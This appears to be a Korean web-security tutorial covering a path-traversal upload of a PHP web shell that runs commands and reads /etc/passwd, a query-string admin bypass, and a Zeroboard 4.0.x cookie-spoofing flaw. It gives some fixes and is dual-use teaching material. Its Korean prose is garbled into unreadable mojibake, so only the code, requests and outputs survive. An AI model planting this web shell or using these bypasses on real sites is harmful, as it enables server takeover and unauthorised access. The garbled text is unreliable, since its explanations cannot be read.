±×¸®°í httpd.conf ¿¡¼­ data µð·ºÅ丮 ¹Ø¿¡ ÀÖ´Â File µéÀº Web À» ÅëÇؼ­´Â
ÀÐÁö ¸øÇϵµ·Ï ´ÙÀ½°ú °°ÀÌ ¼³Á¤À» ÇÏ¿´´Ù°í °¡Á¤ÇÑ´Ù.

<DirectoryMatch "^/.*/data">
AddType application/x-httpd-php-source .phps .php .ph .php3 .cgi .sh .pl
.html .htm .shtml .vbs .ins .inc .py

Options FollowSymLinks
AllowOverride None
Order allow,deny
Deny from all
</DirectoryMatch>

ÀÌ·¸°Ô µÇ¸é hacking.php °°Àº ¾ÇÀÇÀûÀÎ ÆÄÀÏÀ» ¼­¹ö¿¡ ¿Ã¸°´Ù°í ÇÏ¿©µµ Web ¿¡¼­
ÀÐ°Ô µÇ¸é Forbidden ÀÌ ³ª¿À¹Ç·Î ¼­¹ö¿¡ ¸í·ÉÀ» ½ÇÇà ÇÒ ¼ö ¾ø°Ô µÈ´Ù.

hacking.php

<?
passthru($beist);
?>

[¿äû]
http://server/data/hacking.php?beist=cat /etc/passwd

[°á°ú]
Forbidden

You don't have permission to access /data/hacking.php on this server.

±×·¯¸é Cracker ´Â hacking.php ¸¦ ¿Ã¸®°í, À̸¦ ¿Ã¹Ù¸£°Ô ½ÇÇà½ÃÅ°±â À§Çؼ­´Â
data Directory ´Â ÇÇÇؼ­ ¿Ã·Á¾ß ÇÑ´Ù. ¸ÕÀú »çÀü Á¶»ç¸¦ ÅëÇؼ­ Web Directory
Áß Web Server UID ¿¡°Ô Æ۹̼ÇÀÌ ¿­·ÁÀÖ´Â Directory ¸¦ ã¾Æ¼­ ±× Directory¿¡
¿Ã¸®±â·Î ÇÏ°í, Æ۹̼ÇÀÌ ¿­·ÁÀÖ´Â Directory ÀÇ À̸§Àº conf ¶ó°í °¡Á¤ÇÑ´Ù.
(Æ۹̼ÇÀÌ ¿­·ÁÀÖ´Â Directory ¿¡ ´ëÇؼ­ Á¶»çÇÏ´Â ¹æ¹ýÀº »ý·«ÇÏ°Ú´Ù. ÀÌ °ÍÀÇ
¹æ¹ýÀº Á¤ÀûÀÌÁö ¾ÊÀº, µ¿ÀûÀÌ°í Áï Cracker ÀÇ ³ëÇÏ¿ì °°Àº °ÍÀÌ´Ù.)

¹°·Ð,

c:\upload\a\../hacking.php

ÀÌ·± À̸§À¸·Î ¼­¹ö¿¡ ¿Ã¸®¸é /home/httpd/html/data Directory °¡ ¾Æ´Ñ
/home/httpd/html Directory ¿¡ ¿Ã¶ó°¡°Ô µÉ °ÍÀÌÁö¸¸, /home/httpd/html/conf
Directory ¸¦ µû·Î ÁöÁ¤ÇÏ´Â ÀÌÀ¯´Â ´ÙÀ½°ú °°´Ù. ù°, º¸Åë /home/httpd/html
Directory ´Â WebServer UID °¡ write ÇÒ Æ۹̼ÇÀÌ ¿­·ÁÀÖÁö ¾Ê°í µÑ°, »óÀ§
Directory ¸¸ÀÌ ¾Æ´Ñ Cracker °¡ ¿øÇÏ´Â Directory ·Î File À» ¿Ã¸®´Â ¹æ¹ýÀ»
¼³¸íÇϱâ À§Çؼ­ÀÌ´Ù.

¸ÕÀú ½ÇÁ¦·Î Computer ¿¡ ´ÙÀ½°ú °°Àº File °ú °æ·Î¸¦ ¸¸µç´Ù.

c:\upload\conf\hacking.php

±×¸®°í Upload ÇÒ¶§ÀÇ À̸§À» ´ÙÀ½°ú °°ÀÌ °íÄ£´Ù.

c:\upload\conf\../conf/hacking.php

À§ File Path ¸¦ Ç®ÀÌÇغ¸ÀÚ. c:\upload\conf µð·ºÅ丮¿¡¼­ ÇÑ´Ü°è À§·Î ¿Ã¶ó°£ÈÄ
conf/hacking.php ¸¦ ¶æÇÑ´Ù. °á±¹ À§¿¡¼­ ¸»ÇßµíÀÌ php ¿¡¼­´Â $in_file_name À»
¸Ç ¸¶Áö¸·À¸·Î ¾²ÀÎ Escape ¹®ÀÚ µÚÀÇ ¹®ÀÚ¿­µé·Î º¸´Ï±î ¼­¹ö¿¡ ÀúÀåµÇ´Â
$in_file_name Àº ../conf/hacking.php °¡ µÉ °ÍÀÌ´Ù.

±×·¯¸é write_ok.php ¿¡¼­ ½ÇÁ¦·Î ÇàÇØÁö´Â copy Function Àº ´ÙÀ½°ú °°ÀÌ ÇàÇØÁú
°ÍÀÌ´Ù.

copy($in_file, "data/../conf/hacking.php")

[¿äû]
http://server/conf/hacking.php?beist=cat /etc/passwd

[°á°ú]
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
................................

ÇØ°áÃ¥À» ¾Ë¾Æ º¸ÀÚ

ÀÌ ¹®Á¦Á¡¿¡ ´ëÇÑ ±Ùº»ÀûÀÎ ÇØ°áÁ¡Àº ¾ÆÁ÷±îÁö ¾ø´Â °Í °°´Ù. ¾à°£Àº ÀÌ»óÇÑ
¹ö±×À̱⵵ Çѵ¥, ¸·À» ¹æ¹ýÀº ÀÖ´Ù. $in_file_name º¯¼öÀÇ °ª Áß¿¡ ÀÌ»óÇÑ
¹®ÀÚ°¡ ÀÖ´ÂÁö È®ÀÎÇÏ´Â °ÍÀÌ´Ù.

if(eregi("\.\.", $in_file_name))
{
echo "file name ¿¡ .. °¡ µé¾î°¥ ¼ö´Â ¾ø½À´Ï´Ù.";
exit;
}

if(eregi("/", $in_file_name))
{
echo "file name ¿¡ / °¡ µé¾î°¥ ¼ö´Â ¾ø½À´Ï´Ù.";
exit;
}

if(eregi("\\$", $in-file_name))
{
echo "file name ¿¡ ÀÌ»óÇÑ ¹®ÀÚ°¡ µé¾îÀÖ±º¿ä.";
exit;
}

´õ ¿Ïº®ÇÑ ¹æ¹ýÀ» ¿øÇÑ´Ù¸é, Web Directory ÀÇ ¿­·ÁÀÖ´Â Æ۹̼ÇÀ» üũÇÏ°í,
ºÒÇÊ¿äÇÏ´Ù¸é ¾ø¾Ø´Ù. ÇÊ¿äÇÑ µð·ºÅ丮´Â httpd.conf ¿¡ Web ¿¡¼­ File À»
ÀÐÀ» ¼ö ¾ø°Ô²û ¼³Á¤À» ÇÑ´Ù. (Download °°Àº °ÍÀº php File ¿¡¼­ ÀÐÀº ÈÄ
»ç¿ëÀÚ¿¡°Ô »Ñ·ÁÁÖ´Â ¹æ¹ýµî ¿©·¯°¡Áö°¡ ÀÖ´Ù. ÀÌ ¹æ¹ý¿¡ ´ëÇÑ °ÍÀº 12 ¹ø
ÀåÀ» ÂüÁ¶Ç϶ó)



/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
8) º¯¼ö ÀÎÁõ½ÃÀÇ ÁÖÀÇÇÒÁ¡

À̹ø¿¡ ´Ù·ê ÁÖÁ¦´Â Web ÇÁ·Î±×·¡¹Ö¿¡¼­ ¹üÇϱ⠽¬¿î ½Ç¼ö ÁßÀÇ ÇÑ°¡ÁöÀÌ´Ù.
Computer Language ¿¡´Â ºñ±³¹®ÀÌ ÀÖ´Ù. ºñ±³¹®À» ÀÌ¿ëÇÏ¿© °³¹ßÀÚ´Â ¿©·¯°¡Áö
ÀÏÀ» ÇÒ ¼ö ÀÖ´Ù. password °¡ Á¤È®ÇÑÁö, ¾ÏÈ£°¡ ¸Â´ÂÁö, ±âŸ µîµî ¾²ÀÌ´Â
°÷ÀÌ ¸¹´Ù.

¿¹¸¦ µé¾î¼­ ƯÁ¤ CGI script ¿¡¼­ ÇöÀç Page ¸¦ Àд »ç¿ëÀÚ°¡ Admin ÀÎÁö
¾Æ´ÑÁö È®ÀÎÇØ¾ß ÇÒ °æ¿ì°¡ ÀÖÀ» °ÍÀÌ´Ù. ´ÙÀ½°ú °°Àº ÀýÂ÷°¡ ÀÖ´Ù°í ÇÏÀÚ.

1. Admin Page View (admin.html)
2. ID ¿Í Password ¸¦ Client -> Sever Àü¼Û
3. Server ·Î Àü´ÞµÈ ID, Password ´Â CGI ¿¡¼­ üũÇÔ (auth.php)
4. ¸¸¾à ID, Password °¡ Á¤È®ÇÏ´Ù¸é menu.php ·Î admin=1 À» ºÙ¿©
¿¬°á½ÃÄÑ ÁÜ

/* menu.php ´Â admin ¸¸ View ÇÒ ¼ö ÀÖÀ½ */

menu.php

<?

if(!$admin)
{
echo "´ç½ÅÀº Admin ÀÌ ¾Æ´Õ´Ï´Ù.";
exit;
}

echo "ÀÌ ¸Þ´º´Â admin ¸¸ º¼¼ö ÀÖ½À´Ï´Ù.<br>";
echo "i love TTL<br>";

?>

/* menu.php ¿¡¼­´Â $admin À̶ó´Â º¯¼ö°¡ ¾ø´Ù¸é admin ÀÌ ¾Æ´Ñ °É·Î ÀνÄ
ÇÏ¿© ½ºÅ©¸³Æ® ½ÇÇàÀ» ¸ØÃß°í ¸¸¾à $admin À̶ó´Â º¯¼ö°¡ ÀÖ´Ù¸é admin À¸·Î
ÀνÄÇÏ¿© admin ¸Þ´º¸¦ »Ñ·ÁÁÝ´Ï´Ù. */

admin.html

<html>
<head>
<title>Admin Page</title>
</head>
<body>
<center>
<form action=http://server/auth.php method=post>
Admin ID : <input type=text name=adminid><br>
Password : <input type=password name=adminpw><br>
</center>
</form>
</body>
</head>
</html>

/* admin.html Àº action °ªÀ» auth.php ·Î Àü´ÞÇÏ°í method ·Î post ¸¦ »ç¿ë
ÇÏ¿´´Ù. »ç¿ëÀÚ°¡ ÀÔ·ÂÇÑ id ¿Í password ¸¦ °¢°¢ adminid ¿Í adminpw ¿¡
´ã¾Æ¼­ º¸³½´Ù. */

auth.php

<?

if($adminid=="admin")
{
if($adminpw=="123456")
{
echo "<meta http-equiv=\"refresh\" content=\"1;url=menu.php?admin=1\" >";
}
else
{
echo "Wrong Password!";
}
}
else
{
echo "Wrong ID!";
}

?>

/* auth.php ¿¡¼­´Â »ç¿ëÀÚ°¡ ÀÔ·ÂÇÑ id °¡ admin ÀÎÁö È®ÀÎÇÑ´Ù. ¸¸¾à admin À»
id ·Î ÀÔ·ÂÇß´Ù¸é ÀÔ·ÂÇÑ password °¡ 123456 ÀÌ ¸Â´ÂÁö È®ÀÎÇÑ´Ù. ¸Â´Ù¸é
meta tag ¸¦ ÀÌ¿ëÇÏ¿© menu.php ·Î ¿¬°áÇØÁÙ °ÍÀ̸ç menu.php ¸¦ ¿äûÇÒ¶§
admin À̶ó´Â Àμö¸¦ ÁÖ¾î value ¸¦ 1 ·Î ¼³Á¤ÇÏ¿´´Ù. */

ÀÌ¿Í °°Àº ¹æ¹ý¿¡´Â Ãë¾à¼ºÀÌ Á¸ÀçÇÑ´Ù. ¸¸¾à¿¡ cracker °¡ auth.php ¸¦ °ÅÄ¡Áö ¾Ê°í
menu.php ¸¦ ¹Ù·Î ¿äûÇÏ¿© admin º¯¼ö¸¦ ³ÖÀ»¼öµµ ÀÖÀ¸´Ï±î ¸»ÀÌ´Ù. Å×½ºÆ®¸¦ ÇÏ¿©
º¸ÀÚ.

[¿äû]
http://server/menu.php

[°á°ú]
´ç½ÅÀº Admin ÀÌ ¾Æ´Õ´Ï´Ù.

[¿äû]
http://server/menu.php?admin=1

[°á°ú]
ÀÌ ¸Þ´º´Â admin ¸¸ º¼¼ö ÀÖ½À´Ï´Ù.
i love TTL

ÀÌ·± ½ÄÀ¸·Î cracker ´Â auth.php ¸¦ °ÅÄ¡Áö ¾Ê°íµµ menu.php ¿¡ ¹Ù·Î admin °ªÀ»
Àμö·Î º¸³»¾î ÀÎÁõÀ» ȸÇÇ ÇÒ ¼ö ÀÖ´Ù.

À§¿Í °°Àº Script ´Â °ÅÀÇ ¾²ÀÌÁö ¾ÊÀ»Å×Áö¸¸ ¿©±â¿¡¼­´Â ÀÌÇظ¦ ½±°Ô Çϱâ À§ÇØ
°£´ÜÇÑ ÇÁ·Î±×·¡¹ÖÀ» ÇÑ °ÍÀÌ´Ù. ½ÇÁ¦·Î ¼öõÁÙÀÇ CGI ¿¡¼­µµ ÀÌ¿Í À¯»çÇÑ ¹ö±×·Î
À§ÇèÀ» º¸ÀÌ´Â °Íµéµµ ¸¹ÀÌ ÀÖ´Ù.

À§¿Í °°Àº Script À϶§ À̸¦ ÇØ°áÇÏ´Â ¹æ¹ýÀº

menu.php

<?

if($adminpw!="pwttl")
{
echo "´ç½ÅÀº Admin ÀÌ ¾Æ´Ï±º¿ä.<br>";
echo "¾ÏÈ£°¡ Ʋ·È½À´Ï´Ù.";
exit;
}

echo "ÀÌ ¸Þ´º´Â admin ¸¸ º¼¼ö ÀÖ½À´Ï´Ù.<br>";
echo "i love TTL<br>";

?>

/* $adminpw º¯¼ö°¡ pwttl ÀÌ ¾Æ´Ï¶ó¸é admin ÀÌ ¾Æ´Ñ °ÍÀ¸·Î °£ÁÖÇÏ¿© Script
½ÇÇàÀ» ÁßÁö½ÃŲ´Ù. ¸¸¾à pwttl À̶ó¸é Admin ¸Þ´º¸¦ º¸¿©ÁØ´Ù. */

auth.php

<?

if($adminid=="admin")
{
if($adminpw=="123456")
{
echo "<meta http-equiv=\"refresh\" content=\"1;url=menu.php?admin=pwttl\" >";
}
else
{
echo "Wrong Password!";
}
}
else
{
echo "Wrong ID!";
}

?>

/* Á¾ÀüÀÇ admin=1 ´ë½Å admin=pwttl ·Î value ¸¦ ¹Ù²Ù¾î menu.php ·Î link ½ÃÄ×´Ù */

ÀÌ·± ½ÄÀ¸·Î ÀÎÁõÇÏ´Â °ÍÀÌ ÁÁÀ» °ÍÀÌ´Ù. ÇÏÁö¸¸ ÀÌ·± ¹æ¹ýº¸´Ù´Â Cookie ³ª
Session µîÀ» ÀÌ¿ëÇÏ¿© ÀÎÁõÇÏ´Â °ÍÀ» ±ÇÇÑ´Ù.

/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
9) cookie »ç¿ë½Ã ÁÖÀÇÇÒÁ¡

À̹ø Àå¿¡¼­ ´Ù·ê ÁÖÁ¦´Â Web ¿¡¼­ ¸¹ÀÌ ¾²ÀÌ´Â Cookie ¿¡ °üÇÑ ³»¿ëÀÌ´Ù.
Cookie ¶õ ¹«¾ùÀΰ¡? Web Language ¿¡¼­ Cookie ´Â ¿©·¯°¡Áö¿¡ À¯¿ëÇÏ°Ô ¾²ÀδÙ.
Cookie ´Â Client Computer ¿¡ ÀúÀåµÇ´Â °ÍÀε¥, CGI Program ¿¡¼­´Â ÀÌ Cookie ¸¦
ÀÌ¿ëÇÏ¿© Á» ´õ Æí¸®ÇÏ°í °£ÆíÇÑ CGI ¸¦ © ¼öµµ ÀÖ´Ù. ¿¹¸¦ µé¾î Web Board ¿¡¼­
°¢ Page ¸¶´Ù ÀÎÁõÀÌ ÇÊ¿äÇÑ °æ¿ìµµ ÀÖ´Ù. ¹¹ admin ¸¸ Access ÇÒ ¼ö ÀÖ´Ù´øÁö
ÇÏ´Â Page ÀÏ °æ¿ì¿¡ ¸»ÀÌ´Ù. ÀÌ·² °æ¿ì ¸Å Page ÀÇ Head ºÎºÐ¿¡ Client Computer
¿¡¼­ Cookie ¸¦ ¹Þ¾Æ¿Í Access ÇÏ·Á´Â »ç¿ëÀÚ°¡ ±ÇÇÑÀÌ µÇ´ÂÁö ¾ÈµÇ´ÂÁö ¾Ë ¼ö
ÀÖ°Ô²û Cookie °¡ »ç¿ëµÉ ¼öµµ ÀÖ´Ù.

¿©±â¿¡¼­´Â ÇѶ§ Issue °¡ µÆ´ø Cookie Sniffing °ú ´õºÒ¾î Cookie Spoofing,
Cookie »ç¿ë½Ã À߸øµÈ ¾Ë°í¸®Áò µîÀ» ¾Ë¾Æº¼ °ÍÀÌ´Ù. ½ÇÁ¦·Î Á¸ÀçÇÏ´Â CGI Program
ÀÎ Zeroboard 4.0.x ¹öÀüÀ» ÀÌ¿ëÇÏ°Ú´Ù. ÀÌ ¹ö±×´Â ÇÊÀÚ°¡ ¹ß°ßÇÑ ¹ö±×·Î, ¿äÁòÀÇ
¹öÀü¿¡´Â Patch °¡ µÇ¾ú´Ù.

zeroboard ´Â PHP ·Î ¸¸µé¾îÁ® ÀÖÀ¸¸ç DATABASE ´Â MySQL À» »ç¿ëÇÏ°í ÀÖ´Ù.

¹®Á¦°¡ µÇ´Â ºÎºÐÀº zeroboard ¿¡¼­ cookie ÀÎÁõÀ» ÇÒ¶§ À߸øµÈ ¾Ë°í¸®ÁòÀ» »ç¿ë
Çϱ⠶§¹®ÀÌ´Ù.

¹®Á¦°¡ µÇ´Â ÁÖ¿ä ¼Ò½º´Â zeroboard ¿¡¼­ lib.php ÀÌ´Ù.

1 function member_info()
2 {
3 global $HTTP_COOKIE_VARS, $member_table, $now_table;
4 $cookie_userid=$HTTP_COOKIE_VARS[zetyxboard_userid];
5 $cookie_password=$HTTP_COOKIE_VARS[zetyxboard_password];
6
7 // ¿ì¼± ÄíÅ°°¡ Á¸ÀçÇÒ¶§;;
8 if($cookie_userid&&$cookie_password)
9 {
10 // Á¢¼Ó Å×ÀÌºí¿¡µµ ÀÖ´ÂÁö¸¦ °Ë»ç;;
11 $check=mysql_fetch_array(mysql_query("select count(*) from $now_table where
12 user_id='$cookie_userid'"));
13 // Á¢¼ÓÅ×ÀÌºí¿¡µµÀÖÀ¸¸é °ªÀ» °®°í ¿È;;
14 if($check[0])
15 {
16 //´Ù½Ã ÄíÅ°¸¦ ±¸¿ò;;
17 setcookie("zetyxboard_userid",$cookie_userid,0,"/");
18 setcookie("zetyxboard_password",$cookie_password,0,"/");
19 mysql_query("update $now_table set logtime='".time()."' where
20 user_id='$cookie_userid'");
21 $member=mysql_fetch_array(mysql_query("select * from $member_table where
22 user_id='$cookie_userid' and password='$cookie_password'"));
23 }
24 else
25 {
26 setcookie("zetyxboard_userid","",0,"/");
27 setcookie("zetyxboard_password","",0,"/");
28 $member[level]=10;
29 }
30 }
31 else $member[level]=10;
32 return $member;
33 }

ÀÌ ÇÔ¼ö´Â zeroboard lib.php ÀÇ ¿øº» ¼Ò½ºÁß ÀÌ´Ù. zeroboard ´Â °Ô½ÃÆÇ¿¡
°¡ÀÔÇÑ ¸â¹ö¸¦ LEVEL º°·Î ¼³Á¤ÇÒ¼ö ÀÖ´Â µî Ä¿¹Â´ÏƼ ±â´Éµµ ÀÖ´Ù. ȸ¿øÀÌ
°Ô½ÃÆÇÀ» ÀÌ¿ëÇÒ¶§ ¸â¹ö¿¡ ´ëÇÑ µ¥ÀÌÅ͸¦ °¡Á®¿À´Â ÇÔ¼ö°¡ ¹Ù·Î ÀÌ member_info
ÇÔ¼öÀÌ´Ù.

ù¹ø° ¶óÀÎÀº member_info ÀÇ ÇÔ¼ö Á¤ÀÇÀÌ´Ù. 3 ¹ø° ¶óÀÎÀº HTTP_COOKIE_VARS,
member_table, now_table À» Àü¿ª º¯¼ö·Î ¼³Á¤Çسõ¾Ò°í 4 ¹ø° ¶óÀο¡¼­ cookie_userid
¸¦ HTTP_COOKIE_VARS ÀÇ zetyxboard_userid ·Î ¼³Á¤ÇÏ¿´´Ù. ¸¶Âù°¡Áö·Î 5 ¹ø°
¶óÀο¡¼­´Â cookie_password ¸¦ HTTP_COOKIE_VARS ÀÇ zetyxboard_password ·Î
¼³Á¤ÇÏ¿´´Ù.

HTTP_COOKIE_VARS ´Â client (Áï »ç¿ëÀÚ) ¿¡¼­ Àü´ÞÇØÁÖ´Â cookie °ªÀ» ´ã¾Æ³õ´Â
º¯¼öÀÌ´Ù.

zetyxboard_userid ³ª zetyxboard_password °°Àº cookie ¼³Á¤Àº »ç¿ëÀÚ°¡ login
ÆäÀÌÁö¸¦ ÅëÇؼ­ login À» ÇÒ¶§ ¼³Á¤ÀÌ µÈ´Ù.

cookie ¼³Á¤ ¿ª½Ã lib.php ÆÄÀÏ¿¡¼­ check_login ÇÔ¼ö¿¡¼­ ÀÌ·ç¾îÁø´Ù.

1 /////////////////////////////////////////////////////////////////////////
2 // ·Î±×ÀÎ ½ÃÅ°´Â ºÎºÐ
3 /////////////////////////////////////////////////////////////////////////
4 function check_login($user_id,$password)
5 {
6 global $connect, $member_table, $now_table, $id;
7 $check=mysql_fetch_array(mysql_query("select * from $member_table where
8 user_id='$user_id' and password=password('$password')"));
9 if($check[no])
10 {
11 $password=mysql_fetch_array(mysql_query("select password('$password')"));
12 setcookie("zetyxboard_userid",$user_id,0,"/");
13 setcookie("zetyxboard_password",$password[0],0,"/");
14
15 $temp=mysql_fetch_array(mysql_query("select count(*) from $now_table
16 where user_id='$user_id'"));
17 if($temp[0]) mysql_query("update $now_table set logtime='".time()."'
18 where user_id='$user_id'");
19 else mysql_query("insert into $now_table (user_id,group_no,logtime)
20 values ('$user_id','$check[group_no]','".time()."')");
21
22 return 1;
23 }
24 else Error("·Î±×ÀÎÀ» ½ÇÆÐÇÏ¿´½À´Ï´Ù.");
25 }

7 ¹ø° ¶óÀÎÀº »ç¿ëÀÚ°¡ Àü´ÞÇÑ id ¿Í, password °ªÀ¸·Î member_table ¿¡ ½ÇÁ¦·Î
Á¸ÀçÇÏ´Â »ç¿ëÀÚÀÎÁö È®ÀÎÇÑ´Ù. ¸¸¾à ¿Ã¹Ù¸¥ »ç¿ëÀÚ¶ó¸é check_login ÇÔ¼ö´Â
client ¿¡°Ô (º¸Åë À¥ºê¶ó¿ìÀú¸¦ ¸»ÇÕ´Ï´Ù.) setcookie ÇÔ¼ö¸¦ ÀÌ¿ëÇÏ¿© cookie¸¦
¼³Á¤ÇÏ¿© ÁØ´Ù. zetyxboard_userid ¿Í zetyxboard_password °¡ cookie ÀÌ´Ù.

±×¸®°í 15 ¹ø° ÁÙºÎÅÍ °Ô½ÃÆÇ¿¡ ÇöÀç Á¢¼ÓµÈ »ç¿ëÀÚÀÇ ID ¸¦ ´ã¾Æ³õ´Â now_table
¿¡ ID ¸¦ update ¸¦ Çϰųª Ãß°¡¸¦ ÇÑ´Ù. (¸¸¾à »ç¿ëÀÚ°¡ Á¤ÇØÁø ½Ã°£µ¿¾È ¾Æ¹«
·± ÆäÀÌÁöµµ ÀÐÁö ¾Ê°Å³ª, logout À» Çϸé now_table ¿¡¼­ »ç¿ëÀÚÀÇ ID °¡ »èÁ¦
µË´Ï´Ù. ±×·¸°Ô µÇ¸é login ÀÌ ¾ÈµÈ »óÅ°¡ µÈ´Ù.)

´Ù½Ã Ãë¾àÁ¡ÀÇ ±Ù¿øÀÌ µÇ´Â member_info ÇÔ¼ö·Î µ¹¾Æ°¡º¸ÀÚ. member_info ÇÔ¼ö´Â
ÀÌ »ç¿ëÀÚ°¡ Á¤´çÇÑ »ç¿ëÀÚÀÎÁö °Ë»ç¸¦ ÇÏ´Â ±â´Éµµ ÀÖ´Ù. ù¹ø°·Î »ç¿ëÀÚ°¡
zetyxboard_userid ¿Í zetyxboard_password ÄíÅ°°¡ ÀÖ´ÂÁö È®ÀÎÇÑ´Ù. ÀÌ È®ÀÎÀº
8 ¹ø° ÁÙ¿¡¼­ ÇÑ´Ù. ±×¸®°í ¶Ç ÇѹøÀÇ È®ÀÎÀ¸·Î zeroboard ¿¡¼­ »ç¿ëÇÏ´Â now_
table ¿¡µµ zetyxboard_userid °ªÀÌ ´ã°ÜÀÖ´ÂÁö È®ÀÎÇÑ´Ù. ¸¸¾à¿¡ Á¢¼ÓÅ×ÀÌºí¿¡
µµ »ç¿ëÀÚÀÇ ID °¡ ÀÖ´Ù¸é ÀÌ »ç¿ëÀÚ´Â ¿Ã¹Ù¸¥ »ç¿ëÀÚÀÌ´Ù.

ÇÏÁö¸¸ ¿©±â¿¡¼­ ¹®Á¦°¡ ¹ß»ýÇÑ´Ù. ù¹ø° È®Àο¡¼­ zetyxboard_userid ¿Í zetyx
board_password ÄíÅ°´Â »ç¿ëÀÚ°¡ ÀÓÀÇ·Î ¸¸µé¾î¼­ º¸³¾ ¼ö ÀÖ°í, µÎ¹ø°´Â Á¢¼Ó Å×
ÀÌºí¿¡µµ ÀÖ´ÂÁö °Ë»ç¸¦ ÇÒ¶§ zetyxboard_userid ¸¸ °®°í üũ¸¦ Çϱ⠶§¹®¿¡
zetyxboard_password °¡ Á¤È®ÇÏÁö ¾Ê´õ¶óµµ »ó°üÀÌ ¾ø´Ù. ±×·¡¼­ ÇØÄ¿°¡
zetyxboard_userid ¿Í zetyxboard_password ÄíÅ°¸¦ ÀÓÀÇ·Î ¸¸µé°í, ÇöÀç Á¢¼ÓÀÌ µÇ¾î
ÀÖ´Â »ç¿ëÀÚÀÇ ID ·Î zetyxboard_userid ¸¦ ¼³Á¤ÇÑ´Ù¸é member_info ÇÔ¼ö¿¡¼­ ÇØÄ¿´Â
¿Ã¹Ù¸¥ »ç¿ëÀÚ°¡ µÉ ¼ö ÀÖ´Ù.

¿©±â±îÁöÀÇ ¹æ¹ýÀ¸·Î ¿ì¸®´Â Á¢±ÙÇÒ ¼ö ¾ø´Â °Ô½ÃÆÇ°ú, °Ô½Ã¹°À» ÀÐÀ»¼ö°¡ ÀÖ´Ù.
(Á¢±ÙÇÒ ¼ö ¾ø´Â °æ¿ì´Â »ç¿ëÀÚÀÇ ·¹º§°ú Á¢±ÙÇÏ·Á´Â °Ô½ÃÆÇÀÇ Çã¿ë ·¹º§ÀÌ
¾È ¸Â±â ¶§¹®ÀÌ´Ù.) ¿Ö³ÄÇϸé member_info ÇÔ¼ö¿¡¼­ 21~22 ¹ø ÁÙÀ» º¸ÀÚ.
member_table ¿¡¼­ zetyxboard_userid ¿Í zetyxboard_password °¡ ´ã±ä µ¥ÀÌÅ͸¦
ã°í ±× °á°ú¸¦ member º¯¼ö¿¡ ´ã´Â´Ù. ¸¸¾à ¿Ã¹Ù¸¥ »ç¿ëÀÚ¶ó¸é member º¯¼ö¿¡´Â
»ç¿ëÀÚÀÇ LEVEL À̳ª À̸§, ID, PASSWORD °¡ ´ã±æ°ÍÀÌ´Ù. ÇÏÁö¸¸ ÇØÄ¿¿¡°Ô´Â
LEVEL, ID, À̸§, PASSWORD °°Àº °ÍÀÌ ¾Æ´Ñ ºó °ªÀÌ ´ã±â°Ô µÈ´Ù. ÀÌÀ¯´Â member
_table ¿¡´Â zetyxboard_userid ¿Í °°Àº µ¥ÀÌÅÍ´Â À־ zetyxboard_password µµ
°°Àº µ¥ÀÌÅÍ´Â ¾ø±â ¶§¹®ÀÌ´Ù.

member ¿¡ ºó°ªÀÌ ´ã±â±â ¶§¹®¿¡ ÇØÄ¿´Â PHP ¿¡¼­ ÇØ´ç LEVEL ÀÌ µÇ´ÂÁö ¾ÈµÇ´ÂÁö
°Ë»ç¸¦ ÇÏ´Â ºÎºÐÀ» Åë°úÇÒ ¼ö ÀÖ´Ù. ±× ºÎºÐÀ» »ìÆ캸µµ·Ï ÇÏÀÚ.

¸ÕÀú zboard.php ¿¡¼­ ƯÁ¤ id ÀÇ °Ô½ÃÆÇ¿¡ Á¢±ÙÇÒ¶§ »ç¿ë±ÇÇÑÀ» ¾î¶»°Ô üũ
ÇÏ´ÂÁö º¸¸é

zboard.php

1 if($setup[grant_list]<$member[level]&&!$is_admin)
2 Error("»ç¿ë±ÇÇÑÀÌ ¾ø½À´Ï´Ù","login.php?id=$id&page=$page&
3 page_num=$page_num&category=$category&sn=$sn&ss=$ss&sc=$sc&
4 keyword=$keyword&no=$no&file=zboard.php");

ÀÌ·¸´Ù. Á¶°Ç½ÄÀ» »ìÆ캸ÀÚ. $setup[grant_list] ´Â °¢ °Ô½ÃÆÇ¿¡ ¼³Á¤
µÈ Á¢±Ù Çã¿ë LEVEL °ú ºñ½ÁÇÑ °ÍÀÌ´Ù. ¸¸¾à $member[level] ÀÌ $setup[grant_
list] °ªº¸´Ù Å©´Ù¸é Á¢±ÙÀÌ Çã¿ëµÇÁö ¾ÊÀ¸¹Ç·Î 2~4 ¹ø°ÀÇ ERROR ¸Þ¼¼Áö°¡ ¶ß°Ô
µÈ´Ù.
(zeroboard ¿¡¼­´Â LEVEL ÀÌ ³·À»¼ö·Ï ½ÇÁ¦·Î´Â ³ôÀº °É·Î ÀνÄÇÑ´Ù. µÎ¹ø°
Á¶°Ç½ÄÀÎ !$is_admin ´Â ¸¸¾à ·Î±×ÀÎÇÑ »ç¿ëÀÚ°¡ admin À̸é Åë°úÇÑ´Ù´Â °ÍÀ»
ÀǹÌÇÑ´Ù.)

¾Õ¿¡¼­ ¸»ÇßµíÀÌ ÇØÄ¿´Â member ¿¡ ºó°ªÀÌ ´ã±â°Ô µÈ´Ù. ºó°ªÀº 0 °ú °°´Ù.
±×·¯¸é Á¶°Ç½ÄÀº ÀÌ·¸°Ô µÉ °ÍÀÌ´Ù.

if($setup[grant_list]<0&&!$is_admin)

¾î¶² ·¹º§ÀÌ¶óµµ 0 º¸´Ù ³·À»¼ö´Â ¾øÀ» °ÍÀÌ´Ù. ÀÌ¿Í °°Àº ¹æ¹ýÀ¸·Î ÇØÄ¿´Â »ç¿ë±ÇÇÑÀ»
üũÇÏ´Â PHP ¾Ë°í¸®ÁòÀ» Åë°úÇÏ°í Çã¿ëÇÏÁö ¾Ê´Â °Ô½Ã¹°À̳ª °Ô½ÃÆÇ¿¡ Á¢±ÙÀ»
ÇÒ ¼ö ÀÖ°Ô µÈ´Ù.

¸¸¾à¿¡ secret ¶ó´Â id ÀÇ °Ô½ÃÆÇÀÌ ÀÖ´Ù°í ÇÏ°í, ½ÇÁ¦·Î ¾î¶»°Ô »ç¿ë±ÇÇÑ Ã¼Å©¸¦
Åë°úÇÏ°í °Ô½ÃÆÇÀ» ÀÐÀ» ¼ö ÀÖ´ÂÁö ¾Ë¾Æº¸ÀÚ.

1 telnet targetip 80
